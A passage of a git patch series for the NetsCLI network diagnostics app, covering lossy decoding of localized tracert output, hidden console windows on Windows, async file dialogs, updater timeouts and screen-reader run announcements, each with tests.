From 582130d6c51949271168199374115a8335f5f9d3 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:27:26 +0100 Subject: [PATCH 01/33] Decode trace output lossily so a localized tracert cannot abort the trace trace.rs read tracert/traceroute output with tokio's strict UTF-8 line reader. A non-English Windows writes its tracert messages in the OEM code page, so one byte that is not UTF-8 (for example the u-umlaut in a German timed-out hop) ended the whole trace with 'trace stdout read failed', hops already printed included. The output is now read as bytes and decoded lossily, the same way reverse.rs already decodes ping -a. The hop number and timings are ASCII, so the text that gets a replacement character is only the localized words after them. The new test runs a real child process that prints a non-UTF-8 byte; an English runner cannot hit this any other way. --- crates/netscli-core/src/trace.rs | 85 +++++++++++++++++++++++++++++--- 1 file changed, 79 insertions(+), 6 deletions(-) diff --git a/crates/netscli-core/src/trace.rs b/crates/netscli-core/src/trace.rs index 5e13799e..3555e5ec 100644 --- a/crates/netscli-core/src/trace.rs +++ b/crates/netscli-core/src/trace.rs @@ -124,18 +124,20 @@ async fn run_command_streaming( .ok_or_else(|| Error::Other("failed to capture stderr".to_string()))?; let mut out_lines: Vec = Vec::new(); - let mut stdout_lines = BufReader::new(stdout).lines(); - let mut stderr_lines = BufReader::new(stderr).lines(); + // `split` rather than `lines`: `lines` fails on the first byte that is not + // UTF-8, and that error ended the whole trace. See `decode_line`. + let mut stdout_lines = BufReader::new(stdout).split(b'\n'); + let mut stderr_lines = BufReader::new(stderr).split(b'\n'); let mut stdout_done = false; let mut stderr_done = false; let mut status: Option = None; while !(stdout_done && stderr_done && status.is_some()) { tokio::select! { - line = stdout_lines.next_line(), if !stdout_done => { + line = stdout_lines.next_segment(), if !stdout_done => { match line.map_err(|e| Error::Other(format!("trace stdout read failed: {e}")))? { Some(line) => { - let trimmed = line.trim_end().to_string(); + let trimmed = decode_line(&line); if let Some(tx) = progress.as_ref() { if let Some(hop) = trimmed.split_whitespace().next().and_then(|t| t.parse::().ok()) { let _ = tx.send(format!( @@ -149,10 +151,10 @@ async fn run_command_streaming( None => stdout_done = true, } } - line = stderr_lines.next_line(), if !stderr_done => { + line = stderr_lines.next_segment(), if !stderr_done => { match line.map_err(|e| Error::Other(format!("trace stderr read failed: {e}")))? { Some(line) => { - let trimmed = line.trim_end().to_string(); + let trimmed = decode_line(&line); if !trimmed.is_empty() { out_lines.push(trimmed); } @@ -174,6 +176,20 @@ async fn run_command_streaming( }) } +/// One line of the tool's output, with anything that is not UTF-8 replaced. +/// +/// `tracert` translates its messages and writes them in the console's OEM code +/// page, so on a German, French or Russian Windows a timed-out hop prints +/// bytes that are not valid UTF-8 ("Zeitüberschreitung" is `Zeit\x81berschreitung` +/// in code page 850). Reading lines as strict UTF-8 turned the first of those +/// into "trace stdout read failed" and discarded the whole trace, including the +/// hops already printed. The hop number and the timings are plain ASCII, so a +/// replacement character in the free text after them costs nothing that +/// matters. `ping -a` in `dns/reverse.rs` is decoded the same way. +fn decode_line(bytes: &[u8]) -> String { + String::from_utf8_lossy(bytes).trim_end().to_string() +} + fn args_max_hops(args: &[String]) -> Option { for i in 0..args.len().saturating_sub(1) { if (args[i] == "-h" || args[i] == "-m") && args[i + 1].parse::().is_ok() { @@ -190,3 +206,60 @@ fn is_not_found(err: &Error) -> bool { _ => false, } } + +#[cfg(test)] +mod tests { + use super::*; + + /// Output that is not UTF-8 must not end the trace. + /// + /// This is what a localized Windows `tracert` writes for a timed-out hop, + /// and it is the only way to reach the failure: the English output this + /// code was written against is plain ASCII, so nothing else in the suite + /// (or on an English CI runner) can fail here. A real child process is + /// used rather than a byte slice because the strict read happened in the + /// select loop, around the pipe. + #[tokio::test] + async fn output_that_is_not_utf8_does_not_abort_the_trace() { + let dir = tempfile::tempdir().expect("temp dir"); + let file = dir.path().join("tracert.txt"); + // 0x81 is "ü" in code page 850 and cannot appear in UTF-8 on its own. + std::fs::write( + &file, + b" 1 <1 ms <1 ms <1 ms 192.168.0.1\r\n 2 * * * Zeit\x81berschreitung der Anforderung.\r\n\r\nTrace complete.\r\n", + ) + .expect("write fixture"); + let path = file.display().to_string(); + + // Both print the file's bytes unchanged. + #[cfg(windows)] + let (tool, args) = ("cmd", vec!["/c".to_string(), "type".to_string(), path]); + #[cfg(not(windows))] + let (tool, args) = ("cat", vec![path]); + + let result = run_command_streaming(tool, &args, "192.168.0.1", None) + .await + .expect("a trace whose output is not UTF-8 still completes"); + + assert_eq!(result.exit_code, Some(0)); + assert_eq!( + result.lines.first().map(String::as_str), + Some(" 1 <1 ms <1 ms <1 ms 192.168.0.1"), + "the hops printed before the odd byte are kept" + ); + let timed_out = result + .lines + .iter() + .find(|line| line.trim_start().starts_with("2 ")) + .expect("the hop with the odd byte is kept too"); + assert!( + timed_out.contains("Zeit\u{FFFD}berschreitung"), + "the odd byte becomes a replacement character: {timed_out:?}" + ); + assert_eq!( + result.lines.last().map(String::as_str), + Some("Trace complete."), + "and so are the lines after it" + ); + } +} From 1be6b89d83af49778a6cf9a62bf4580205ce702f Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:32:14 +0100 Subject: [PATCH 02/33] Start ping -a, tracert and the CLI version probe without a console window on Windows The installed desktop app is a GUI-subsystem process with no console, so every console tool it starts gets a new one. Measured on Windows 11 with a small windows_subsystem=windows program that called the core's reverse_lookup_best_effort_timeout and trace_route and polled the top-level windows. Each call opened new visible windows (a Windows Terminal window titled C:\WINDOWS\System32\ping.exe, and one titled ...\tracert.exe), 4 per run. With CREATE_NO_WINDOW on the same two calls, 0 new windows appeared and the trace still returned its 9 lines. Discover and Sweep call the ping -a lookup once for every host that answered, up to 32 at a time. The Settings probe that runs 'netscli --version' for each candidate on PATH gets the same flag. arp already set it. The constant is repeated in each file because the shared place for it (common/system_tools.rs) is outside this change. --- apps/netscli-gui/src-tauri/src/commands/mcp.rs | 9 +++++++++ crates/netscli-core/src/dns/reverse.rs | 8 +++++++- crates/netscli-core/src/trace.rs | 12 ++++++++++++ 3 files changed, 28 insertions(+), 1 deletion(-) diff --git a/apps/netscli-gui/src-tauri/src/commands/mcp.rs b/apps/netscli-gui/src-tauri/src/commands/mcp.rs index fbd1f5eb..cbaa8b93 100644 --- a/apps/netscli-gui/src-tauri/src/commands/mcp.rs +++ b/apps/netscli-gui/src-tauri/src/commands/mcp.rs @@ -41,6 +41,11 @@ const BIN_NAME: &str = if cfg!(windows) { /// A hung probe would freeze the panel with no way out. const PROBE_TIMEOUT: Duration = Duration::from_secs(3); +/// Process creation flag that stops a console program opening a window. The +/// same one the core sets for `arp`, `ping` and `tracert`. +#[cfg(windows)] +const CREATE_NO_WINDOW: u32 = 0x0800_0000; + #[derive(Serialize)] #[serde(rename_all = "camelCase")] pub(crate) struct CliDetection { @@ -132,6 +137,10 @@ async fn probe_version(path: &Path) -> Option { .arg("--version") .stdin(std::process::Stdio::null()) .kill_on_drop(true); + // `netscli` is a console program and this app has no console, so each + // candidate would otherwise open its own window while Settings is opening. + #[cfg(windows)] + command.creation_flags(CREATE_NO_WINDOW); let output = timeout(PROBE_TIMEOUT, command.output()).await.ok()?.ok()?; if !output.status.success() { diff --git a/crates/netscli-core/src/dns/reverse.rs b/crates/netscli-core/src/dns/reverse.rs index 7b8d31b5..d60c1495 100644 --- a/crates/netscli-core/src/dns/reverse.rs +++ b/crates/netscli-core/src/dns/reverse.rs @@ -92,6 +92,11 @@ async fn reverse_lookup_windows_ping(ip: IpAddr, timeout_ms: u64) -> Option Option out, diff --git a/crates/netscli-core/src/trace.rs b/crates/netscli-core/src/trace.rs index 3555e5ec..047e5389 100644 --- a/crates/netscli-core/src/trace.rs +++ b/crates/netscli-core/src/trace.rs @@ -6,6 +6,16 @@ use tokio::sync::watch; use crate::error::{Error, Result}; +/// Process creation flag that stops a console program opening a window. +/// +/// The installed desktop app is a GUI-subsystem process with no console, so a +/// console tool it starts gets a new one, and on Windows 11 that is a visible +/// Windows Terminal window titled with the tool's path, open for as long as the +/// trace runs. The CLI and TUI have a console to inherit and are unaffected. +/// Same flag, and same reason, as `arp/platform/command.rs`. +#[cfg(windows)] +const CREATE_NO_WINDOW: u32 = 0x0800_0000; + #[derive(Debug, Clone, Serialize)] #[cfg_attr(feature = "ts", derive(ts_rs::TS), ts(export))] pub struct TraceResult { @@ -110,6 +120,8 @@ async fn run_command_streaming( .stdout(Stdio::piped()) .stderr(Stdio::piped()) .kill_on_drop(true); + #[cfg(windows)] + cmd.creation_flags(CREATE_NO_WINDOW); let mut child = cmd .spawn() From faad25af5358ebeafe29681d8d188fbaf43908da Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:34:43 +0100 Subject: [PATCH 03/33] Open the file dialogs from async commands so the window keeps painting open_result_bundle, choose_file_save_default_directory, export_text_file and save_result_bundle were plain fns, which Tauri runs on the main thread, and they called the dialog plugin's blocking_* functions. The plugin says those must not be used on the main thread. Reading rfd and tauri-runtime-wry, the main thread waits on a channel for the dialog while the dialog needs the main thread, so on Windows the window cannot repaint while a dialog is open and on macOS the dialog should deadlock. That macOS part is from the code and has not been run on a Mac. The four commands are now async and use the plugin's callback calls through one small helper, dialog::ask, which waits on a channel without holding a thread. The pcap-only dialogs (open_pcap_file and the capture save path) already run off the main thread and are unchanged. The tests pin that the wait leaves the thread free (a current-thread runtime must run another task meanwhile) and that an unanswered dialog reads as cancelled. --- .../src-tauri/src/commands/files/dialog.rs | 76 +++++++++++++++++++ .../src-tauri/src/commands/files/export.rs | 37 +++++---- .../src-tauri/src/commands/files/mod.rs | 1 + .../src/commands/files/preferences.rs | 11 ++- 4 files changed, 105 insertions(+), 20 deletions(-) create mode 100644 apps/netscli-gui/src-tauri/src/commands/files/dialog.rs diff --git a/apps/netscli-gui/src-tauri/src/commands/files/dialog.rs b/apps/netscli-gui/src-tauri/src/commands/files/dialog.rs new file mode 100644 index 00000000..a43c6170 --- /dev/null +++ b/apps/netscli-gui/src-tauri/src/commands/files/dialog.rs @@ -0,0 +1,76 @@ +use tokio::sync::oneshot; + +/// Show a native file dialog from an `async` command and wait for its answer. +/// +/// `show` is one of the dialog plugin's callback calls (`pick_file`, +/// `pick_folder`, `save_file`). It puts the dialog on the main thread and +/// reports from a thread of its own, so nothing here blocks the main thread, +/// and nothing blocks a runtime worker either while the user decides. +/// +/// This is why the commands that open a dialog are `async`. A plain `fn` +/// command runs on the main thread, and the plugin says its `blocking_*` calls +/// "should *NOT* be used when running on the main thread". The window stops +/// repainting for as long as the dialog is open, and on macOS the dialog is +/// driven by the main run loop, which a main thread waiting on the dialog +/// cannot also run. +/// +/// `None` is a cancelled dialog, or an app that began closing before the dialog +/// was answered. +pub(super) async fn ask( + show: impl FnOnce(Box) + Send>), +) -> Option { + let (answer, answered) = oneshot::channel(); + show(Box::new(move |chosen| { + let _ = answer.send(chosen); + })); + answered.await.ok().flatten() +} + +#[cfg(test)] +mod tests { + use super::*; + use std::sync::atomic::{AtomicUsize, Ordering}; + use std::sync::Arc; + use std::time::Duration; + + /// The wait must leave the thread it runs on free. + /// + /// The plugin's own `blocking_*` calls park the calling thread on a channel, + /// which is what froze the window when these commands were plain `fn`s. A + /// current-thread runtime makes the difference visible: a second task has + /// to get time while `ask` waits for a dialog answered from another thread, + /// the way the plugin answers. + #[tokio::test(flavor = "current_thread")] + async fn waiting_for_a_dialog_leaves_the_thread_free() { + let ticks = Arc::new(AtomicUsize::new(0)); + let counter = Arc::clone(&ticks); + tokio::spawn(async move { + loop { + counter.fetch_add(1, Ordering::SeqCst); + tokio::time::sleep(Duration::from_millis(2)).await; + } + }); + + let chosen = ask(|done| { + std::thread::spawn(move || { + std::thread::sleep(Duration::from_millis(100)); + done(Some("report.json")); + }); + }) + .await; + + assert_eq!(chosen, Some("report.json")); + assert!( + ticks.load(Ordering::SeqCst) > 1, + "nothing else ran while the dialog was open" + ); + } + + #[tokio::test] + async fn a_dialog_that_is_never_answered_reads_as_cancelled() { + // The app closing with a dialog open drops the callback unanswered. + // The plugin's blocking calls unwrap that and panic. + let chosen: Option = ask(drop).await; + assert_eq!(chosen, None); + } +} diff --git a/apps/netscli-gui/src-tauri/src/commands/files/export.rs b/apps/netscli-gui/src-tauri/src/commands/files/export.rs index 64133cf2..3f38371e 100644 --- a/apps/netscli-gui/src-tauri/src/commands/files/export.rs +++ b/apps/netscli-gui/src-tauri/src/commands/files/export.rs @@ -3,6 +3,7 @@ use std::path::{Path, PathBuf}; use tauri::State; use tauri_plugin_dialog::DialogExt; +use super::dialog; use super::preferences::{ default_save_directory, format_byte_limit, preferred_save_directory, read_file_save_preferences, timestamp_millis, @@ -11,8 +12,9 @@ use crate::state::ArtifactRegistry; const MAX_RESULT_BUNDLE_BYTES: u64 = 25 * 1024 * 1024; +// The commands that can open a dialog are `async`; see `dialog::ask`. #[tauri::command] -pub(crate) fn export_text_file( +pub(crate) async fn export_text_file( app: tauri::AppHandle, artifact_registry: State<'_, ArtifactRegistry>, filename: String, @@ -27,7 +29,7 @@ pub(crate) fn export_text_file( ); } - let path = resolve_export_path(&app, &filename)?; + let path = resolve_export_path(&app, &filename).await?; if let Some(parent) = path .parent() @@ -43,7 +45,7 @@ pub(crate) fn export_text_file( } #[tauri::command] -pub(crate) fn save_result_bundle( +pub(crate) async fn save_result_bundle( app: tauri::AppHandle, artifact_registry: State<'_, ArtifactRegistry>, contents: String, @@ -55,17 +57,20 @@ pub(crate) fn save_result_bundle( )); } let filename = format!("netscli-result-{}.netscli-result.json", timestamp_millis()); - export_text_file(app, artifact_registry, filename, contents, None) + export_text_file(app, artifact_registry, filename, contents, None).await } #[tauri::command] -pub(crate) fn open_result_bundle(app: tauri::AppHandle) -> Result { - let selected = app +pub(crate) async fn open_result_bundle( + app: tauri::AppHandle, +) -> Result { + let picker = app .dialog() .file() .set_title("Open NetsCLI Result") - .add_filter("NetsCLI Result", &["json"]) - .blocking_pick_file() + .add_filter("NetsCLI Result", &["json"]); + let selected = dialog::ask(|done| picker.pick_file(done)) + .await .ok_or_else(|| "Open result cancelled".to_string())?; let path = selected .into_path() @@ -95,7 +100,7 @@ pub(crate) fn ensure_file_size_limit( Ok(()) } -fn resolve_export_path(app: &tauri::AppHandle, filename: &str) -> Result { +async fn resolve_export_path(app: &tauri::AppHandle, filename: &str) -> Result { if let Some(mut path) = std::env::var_os("NETSCLI_EXPORT_DIR").map(PathBuf::from) { path.push(filename); return Ok(path); @@ -113,16 +118,16 @@ fn resolve_export_path(app: &tauri::AppHandle, filename: &str) -> Result, ) -> Result { - let mut dialog = app + let mut picker = app .dialog() .file() .set_title("Save NetsCLI Export") @@ -130,14 +135,14 @@ fn ask_export_path( .set_can_create_directories(true); if let Some((name, extensions)) = export_filter(filename) { - dialog = dialog.add_filter(name, &extensions); + picker = picker.add_filter(name, &extensions); } if let Some(directory) = preferred_save_directory(default_directory)? { - dialog = dialog.set_directory(directory); + picker = picker.set_directory(directory); } - let selected = dialog - .blocking_save_file() + let selected = dialog::ask(|done| picker.save_file(done)) + .await .ok_or_else(|| "Export cancelled".to_string())?; let path = selected diff --git a/apps/netscli-gui/src-tauri/src/commands/files/mod.rs b/apps/netscli-gui/src-tauri/src/commands/files/mod.rs index bbb019f8..819287f3 100644 --- a/apps/netscli-gui/src-tauri/src/commands/files/mod.rs +++ b/apps/netscli-gui/src-tauri/src/commands/files/mod.rs @@ -1,4 +1,5 @@ mod artifacts; +mod dialog; mod export; mod pcap_path; mod preferences; diff --git a/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs b/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs index f449f2d0..ee8e96ec 100644 --- a/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs +++ b/apps/netscli-gui/src-tauri/src/commands/files/preferences.rs @@ -4,6 +4,8 @@ use std::time::{SystemTime, UNIX_EPOCH}; use serde::{Deserialize, Serialize}; use tauri_plugin_dialog::DialogExt; +use super::dialog; + const SAVE_SETTINGS_FILE: &str = "gui-save-settings.json"; const LEGACY_CAPTURE_SETTINGS_FILE: &str = "gui-capture-settings.json"; @@ -29,15 +31,16 @@ pub(crate) fn set_file_save_ask_each_time( } #[tauri::command] -pub(crate) fn choose_file_save_default_directory( +pub(crate) async fn choose_file_save_default_directory( app: tauri::AppHandle, ) -> Result { - let selected = app + let picker = app .dialog() .file() .set_title("Choose NetsCLI Save Folder") - .set_can_create_directories(true) - .blocking_pick_folder() + .set_can_create_directories(true); + let selected = dialog::ask(|done| picker.pick_folder(done)) + .await .ok_or_else(|| "Folder selection cancelled".to_string())?; let path = selected From 5b30648c2734b262ffd01400167229bf74f0f9bb Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:36:27 +0100 Subject: [PATCH 04/33] Give the update check and download a timeout so a stall cannot lock the dialog The updater plugin applies no timeout unless one is passed, and UpdateDialog cannot be closed while an install runs (Escape, the backdrop, Close, Later and Skip are all disabled). A download that stalled left a modal the user could only leave by quitting the app. checkForUpdate now passes 30 seconds and installUpdate 10 minutes. The plugin enforces them as a limit on the whole request, not on silence between chunks, so the download one is generous: the largest installer, the Linux AppImage, is 84 MB in 0.3.4. When the limit passes the plugin rejects, installUpdate passes the rejection on, and the dialog lands in its existing failed state with the release page link. Escape stays locked during a download on purpose. Closing the dialog would not stop the download, and on Windows a download that finished later would start the installer and exit the app. --- apps/netscli-gui/src/services/updater.test.ts | 38 +++++++++++++++ apps/netscli-gui/src/services/updater.ts | 46 ++++++++++++------- 2 files changed, 68 insertions(+), 16 deletions(-) create mode 100644 apps/netscli-gui/src/services/updater.test.ts diff --git a/apps/netscli-gui/src/services/updater.test.ts b/apps/netscli-gui/src/services/updater.test.ts new file mode 100644 index 00000000..b092610c --- /dev/null +++ b/apps/netscli-gui/src/services/updater.test.ts @@ -0,0 +1,38 @@ +import { beforeEach, describe, expect, it, vi } from 'vitest'; + +const check = vi.fn(); +vi.mock('@tauri-apps/plugin-updater', () => ({ check: (...args: unknown[]) => check(...args) })); +vi.mock('@tauri-apps/plugin-process', () => ({ relaunch: vi.fn() })); +vi.mock('@tauri-apps/api/core', () => ({ invoke: vi.fn() })); + +const { checkForUpdate, installUpdate } = await import('./updater'); + +/** + * The plugin waits forever unless it is given a timeout, and the update dialog + * cannot be closed while an install runs. So a download that stalls is a modal + * the user can only leave by quitting the app. Nothing else in the suite + * notices if the timeouts are dropped: the dialog tests replace the install + * with a stub, and the plugin itself is never run. + */ +describe('update timeouts', () => { + beforeEach(() => { + check.mockReset(); + }); + + it('gives the update check a deadline', async () => { + check.mockResolvedValue(null); + await checkForUpdate(); + expect(check).toHaveBeenCalledTimes(1); + expect(check.mock.calls[0][0]?.timeout, 'the check was given no timeout').toBeGreaterThan(0); + }); + + it('gives the download a deadline', async () => { + const downloadAndInstall = vi.fn().mockResolvedValue(undefined); + await installUpdate({ downloadAndInstall } as never, () => {}); + expect(downloadAndInstall).toHaveBeenCalledTimes(1); + expect( + downloadAndInstall.mock.calls[0][1]?.timeout, + 'the download was given no timeout', + ).toBeGreaterThan(0); + }); +}); diff --git a/apps/netscli-gui/src/services/updater.ts b/apps/netscli-gui/src/services/updater.ts index c05822a6..2dc7a5cf 100644 --- a/apps/netscli-gui/src/services/updater.ts +++ b/apps/netscli-gui/src/services/updater.ts @@ -32,6 +32,17 @@ export async function getInstallSupport(): Promise { } } +// The plugin applies no timeout unless it is given one, and the update dialog +// cannot be closed while an install runs. A transfer that stalls would +// therefore leave a modal nobody can dismiss, so both calls get a deadline. +// +// These are limits on the whole request, not on silence between chunks, so the +// download one must allow a slow connection to finish. The largest installer +// is the Linux AppImage, 84 MB in 0.3.4. A deadline that passes ends in the +// dialog's own "failed" state, which offers the release page. +const CHECK_TIMEOUT_MS = 30 * 1000; +const DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000; + /** * Fetches latest.json from the newest release and returns the update if its * version is newer than this one. The plugin verifies nothing yet at this @@ -39,7 +50,7 @@ export async function getInstallSupport(): Promise { * when the update is downloaded. */ export function checkForUpdate(): Promise { - return check(); + return check({ timeout: CHECK_TIMEOUT_MS }); } /** @@ -60,21 +71,24 @@ export async function installUpdate( let total: number | null = null; let received = 0; - await update.downloadAndInstall((event) => { - switch (event.event) { - case 'Started': - total = event.data.contentLength ?? null; - onProgress(total ? 0 : null); - break; - case 'Progress': - received += event.data.chunkLength; - onProgress(total ? Math.min(received / total, 1) : null); - break; - case 'Finished': - onProgress(1); - break; - } - }); + await update.downloadAndInstall( + (event) => { + switch (event.event) { + case 'Started': + total = event.data.contentLength ?? null; + onProgress(total ? 0 : null); + break; + case 'Progress': + received += event.data.chunkLength; + onProgress(total ? Math.min(received / total, 1) : null); + break; + case 'Finished': + onProgress(1); + break; + } + }, + { timeout: DOWNLOAD_TIMEOUT_MS }, + ); await relaunch(); } From 04731787d367f1acea68bf2874aae7b2853d13e2 Mon Sep 17 00:00:00 2001 From: Felix Stubner Date: Wed, 7 Oct 2026 18:41:34 +0100 Subject: [PATCH 05/33] Announce failed runs and run progress to screen readers by default A failed run put its message in a plain div, the progress bar had no live text, and a finished run on the visible tab was deliberately not announced. The only live regions were the toasts, which are opt-in and off by default, so a screen reader user got no news of a run at stock settings. The error strip is now a role=alert. A new visually hidden polite status region (RunAnnouncer) in the workspace says that a run started, a quarter-way message at 25, 50 and 75 percent of a phase, and that it completed with its summary or was stopped. A failure is left to the alert so it is not spoken twice. It follows the visible tab only, says nothing when the person switches tabs, and gives a trace no percentages because its progress is the hop reached out of the maximum. Not tested with a screen reader, only through the live region's text. --- .../components/shell/RunAnnouncer.test.tsx | 106 ++++++++++++++++++ .../src/components/shell/RunAnnouncer.tsx | 94 ++++++++++++++++ .../components/shell/WorkspaceView.test.tsx | 66 +++++++++++ .../src/components/shell/WorkspaceView.tsx | 8 +- apps/netscli-gui/src/styles/tokens.css | 14 +++ 5 files changed, 287 insertions(+), 1 deletion(-) create mode 100644 apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx create mode 100644 apps/netscli-gui/src/components/shell/RunAnnouncer.tsx create mode 100644 apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx diff --git a/apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx b/apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx new file mode 100644 index 00000000..0f7601f0 --- /dev/null +++ b/apps/netscli-gui/src/components/shell/RunAnnouncer.test.tsx @@ -0,0 +1,106 @@ +// @vitest-environment jsdom +// +// What a screen reader hears while a run is going. Only the live region's text +// is checked, because that is the whole of what reaches the user: if the region +// does not change, nothing is spoken. + +import { render, screen } from '@testing-library/react'; +import { describe, expect, it } from 'vitest'; + +import { createTab } from '../../tools/registry'; +import type { OperationProgressState, WorkspaceTab } from '../../tools/types'; +import { RunAnnouncer } from './RunAnnouncer'; + +const scan = createTab('scan'); + +function running(progress?: Partial): WorkspaceTab { + return { + ...scan, + busy: true, + progress: { kind: 'scan', completed: 0, total: 0, found: 0, ...progress }, + }; +} + +function spoken() { + return screen.getByRole('status').textContent; +} + +describe('RunAnnouncer', () => { + it('is a polite live region that exists before anything is said', () => { + render(); + const region = screen.getByRole('status'); + expect(region.getAttribute('aria-live')).toBe('polite'); + expect(spoken()).toBe(''); + }); + + it('announces the start and the end of a run, with its summary', () => { + const { rerender } = render(); + + rerender(); + expect(spoken()).toBe('Port Scan started'); + + const result = { + kind: 'scan', + data: [ + { port: 22, open: true }, + { port: 80, open: false }, + ], + } as never; + rerender(); + expect(spoken()).toBe('Port Scan complete. 2 results - 1 open'); + }); + + it('says a stopped run stopped, and leaves a failed run to the error strip', () => { + const { rerender } = render(); + rerender(); + rerender(); + expect(spoken()).toBe('Port Scan stopped'); + + rerender(); + rerender(); + // Still the start message: no second voice for the same failure. + expect(spoken()).toBe('Port Scan started'); + }); + + it('reports progress a quarter at a time, not on every event', () => { + const { rerender } = render(); + rerender(); + + const heard: string[] = []; + for (let completed = 10; completed <= 900; completed += 10) { + rerender(); + const text = spoken() ?? ''; + if (heard.at(-1) !== text) heard.push(text); + } + expect(heard).toEqual([ + 'Port Scan started', + 'Port Scan, 25% complete', + 'Port Scan, 50% complete', + 'Port Scan, 75% complete', + ]); + }); + + it('keeps quiet when the person switches to another tab', () => { + const other = createTab('ping'); + const { rerender } = render(); + // The tab shown now is mid-run, which is not something that just happened. + rerender(); + expect(spoken()).toBe(''); + }); + + it('does not turn a trace into a percentage', () => { + const trace = createTab('trace'); + const { rerender } = render(); + rerender(); + rerender( + , + ); + expect(spoken()).toBe('Trace Route started'); + }); +}); diff --git a/apps/netscli-gui/src/components/shell/RunAnnouncer.tsx b/apps/netscli-gui/src/components/shell/RunAnnouncer.tsx new file mode 100644 index 00000000..77c61015 --- /dev/null +++ b/apps/netscli-gui/src/components/shell/RunAnnouncer.tsx @@ -0,0 +1,94 @@ +import { useEffect, useRef, useState } from 'react'; + +import { resultSummary } from '../../tools/presentation'; +import { TOOL_CONFIG } from '../../tools/registry'; +import type { WorkspaceTab } from '../../tools/types'; + +/** + * Says what the active tab's run is doing to people who cannot see it. + * + * Until this existed the main flow was silent to a screen reader at stock + * settings. The progress bar has no live text, and a result arriving in the + * table is only a completion signal if you can see the table. The toasts that + * are live regions are opt-in and off by default, so they could not be the + * answer. A failed run is not announced here: the error strip is a `role=alert` + * and says it itself. + * + * Deliberately sparse. A run says when it starts, at each quarter of the way + * through (at most three times for each step it has), and when it ends. A + * progress event every 100 ms read aloud would be unusable. + * + * It only follows the tab being looked at. A run finishing in a background tab + * is what the "operation toasts" setting is for. + */ +export function RunAnnouncer({ tab }: { tab: WorkspaceTab | undefined }) { + const [message, setMessage] = useState(''); + const before = useRef(null); + + useEffect(() => { + const next = announcement(before.current, tab); + before.current = next.snapshot; + if (next.message) setMessage(next.message); + }, [tab]); + + // Rendered even when empty. A screen reader only announces changes inside a + // live region that already existed, which is why ToastHost does the same. + return ( +
+ {message} +
+ ); +} + +interface RunSnapshot { + tabId: string; + busy: boolean; + /** How many quarters of the current step are done, 0 to 3. */ + quarter: number; +} + +/** What to say now, given how the tab looked the last time this was asked. */ +function announcement( + before: RunSnapshot | null, + tab: WorkspaceTab | undefined, +): { snapshot: RunSnapshot | null; message: string | null } { + if (!tab) return { snapshot: null, message: null }; + const snapshot = snapshotOf(tab); + // The first sight of a tab, or a switch to another one. Nothing has + // happened that the person did not just do themselves. + if (!before || before.tabId !== tab.id) return { snapshot, message: null }; + + const label = TOOL_CONFIG[tab.kind].label; + if (!before.busy && tab.busy) return { snapshot, message: `${label} started` }; + + if (before.busy && !tab.busy) { + // The error strip announces its own message. + if (tab.error) return { snapshot, message: null }; + // Stop clears the result of every tool except trace, which keeps the hops + // it had printed, so a stopped trace reads as complete with those hops. + return { + snapshot, + message: tab.result ? `${label} complete. ${resultSummary(tab.result)}` : `${label} stopped`, + }; + } + + // Only a step forward is news. A run with two steps (discover probes, then + // resolves names) restarts its count for the second, which is not one. + if (tab.busy && snapshot.quarter > before.quarter) { + return { snapshot, message: `${label}, ${snapshot.quarter * 25}% complete` }; + } + return { snapshot, message: null }; +} + +function snapshotOf(tab: WorkspaceTab): RunSnapshot { + const total = tab.progress?.total ?? 0; + const completed = tab.progress?.completed ?? 0; + // A trace reports the hop it has reached out of the maximum, and almost + // always ends well short of it, so a percentage would say something false. + const counted = tab.busy && total > 0 && tab.kind !== 'trace'; + return { + tabId: tab.id, + busy: tab.busy, + quarter: counted ? Math.min(3, Math.floor((completed / total) * 4)) : 0, + }; +} diff --git a/apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx b/apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx new file mode 100644 index 00000000..77f8a356 --- /dev/null +++ b/apps/netscli-gui/src/components/shell/WorkspaceView.test.tsx @@ -0,0 +1,66 @@ +// @vitest-environment jsdom +// +// The parts of the workspace that speak to a screen reader: a failed run and +// the run's progress. Neither is visible in a snapshot or caught by a type, and +// both went unannounced at stock settings until these were added, so the test +// goes through the real view rather than the pieces. + +import { render, screen } from '@testing-library/react'; +import { describe, expect, it, vi } from 'vitest'; + +import type { WorkspaceTab } from '../../tools/types'; + +// The table, form and detail pane have nothing to say about announcements and +// need a great deal of state to render. +vi.mock('../results/ResultTable', () => ({ ResultTable: () => null })); +vi.mock('../results/DetailPane', () => ({ DetailPane: () => null })); +vi.mock('../tools/ToolForm', () => ({ ToolForm: () => null })); + +const { WorkspaceView } = await import('./WorkspaceView'); +const { createTab } = await import('../../tools/registry'); + +function view(tab: WorkspaceTab) { + const workspace = { + activeTab: tab, + columns: [], + commandPreview: 'netscli scan 127.0.0.1', + copyCommand: vi.fn(), + filterText: '', + interfaces: [], + patchForm: vi.fn(), + patchTab: vi.fn(), + rows: [], + selectedRows: [], + } as never; + return ( + + ); +} + +describe('WorkspaceView announcements', () => { + it('announces a failed run as an alert', () => { + render(view({ ...createTab('scan'), error: 'Host is required' })); + expect(screen.getByRole('alert').textContent).toBe('Host is required'); + }); + + it('says nothing when there is no error', () => { + render(view(createTab('scan'))); + expect(screen.queryByRole('alert')).toBeNull(); + }); + + it('announces the start of a run without any setting turned on', () => { + const tab = createTab('scan'); + const { rerender } = render(view(tab)); + expect(screen.getByRole('status').textContent).toBe(''); + + rerender(view({ ...tab, busy: true })); + expect(screen.getByRole('status').textContent).toBe('Port Scan started'); + }); +}); diff --git a/apps/netscli-gui/src/components/shell/WorkspaceView.tsx b/apps/netscli-gui/src/components/shell/WorkspaceView.tsx index e110028b..0f0b2033 100644 --- a/apps/netscli-gui/src/components/shell/WorkspaceView.tsx +++ b/apps/netscli-gui/src/components/shell/WorkspaceView.tsx @@ -7,6 +7,7 @@ import { ResultTable } from '../results/ResultTable'; import { WarningStrip, warningMessageFor } from '../results/WarningStrip'; 